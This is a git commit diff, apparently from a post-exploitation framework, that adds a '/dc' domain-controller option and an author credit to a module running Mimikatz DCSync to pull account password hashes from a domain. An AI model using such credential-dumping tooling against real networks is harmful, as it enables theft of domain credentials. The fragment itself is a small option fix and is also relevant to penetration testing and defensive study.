Corrected /dc flag in credentials/mimikatz/dcsync

1.6
Harmj0y 2015-11-23 21:06:06 -05:00
parent 8aa7918ef6
commit 6de27d4846
1 changed files with 4 additions and 1 deletions

View File

@ -7,7 +7,7 @@ class Module:
self.info = {
'Name': 'Invoke-Mimikatz DCsync',
'Author': ['@gentilkiwi', '@JosephBialek'],
'Author': ['@gentilkiwi', 'Vincent Le Toux', '@JosephBialek'],
'Description': ("Runs PowerSploit's Invoke-Mimikatz function "
"to extract a given account password through "
@ -91,6 +91,9 @@ class Module:
if self.options["domain"]['Value'] != "":
script += " /domain:" + self.options['domain']['Value']
if self.options["dc"]['Value'] != "":
script += " /dc:" + self.options['dc']['Value']
script += "\"';"
return script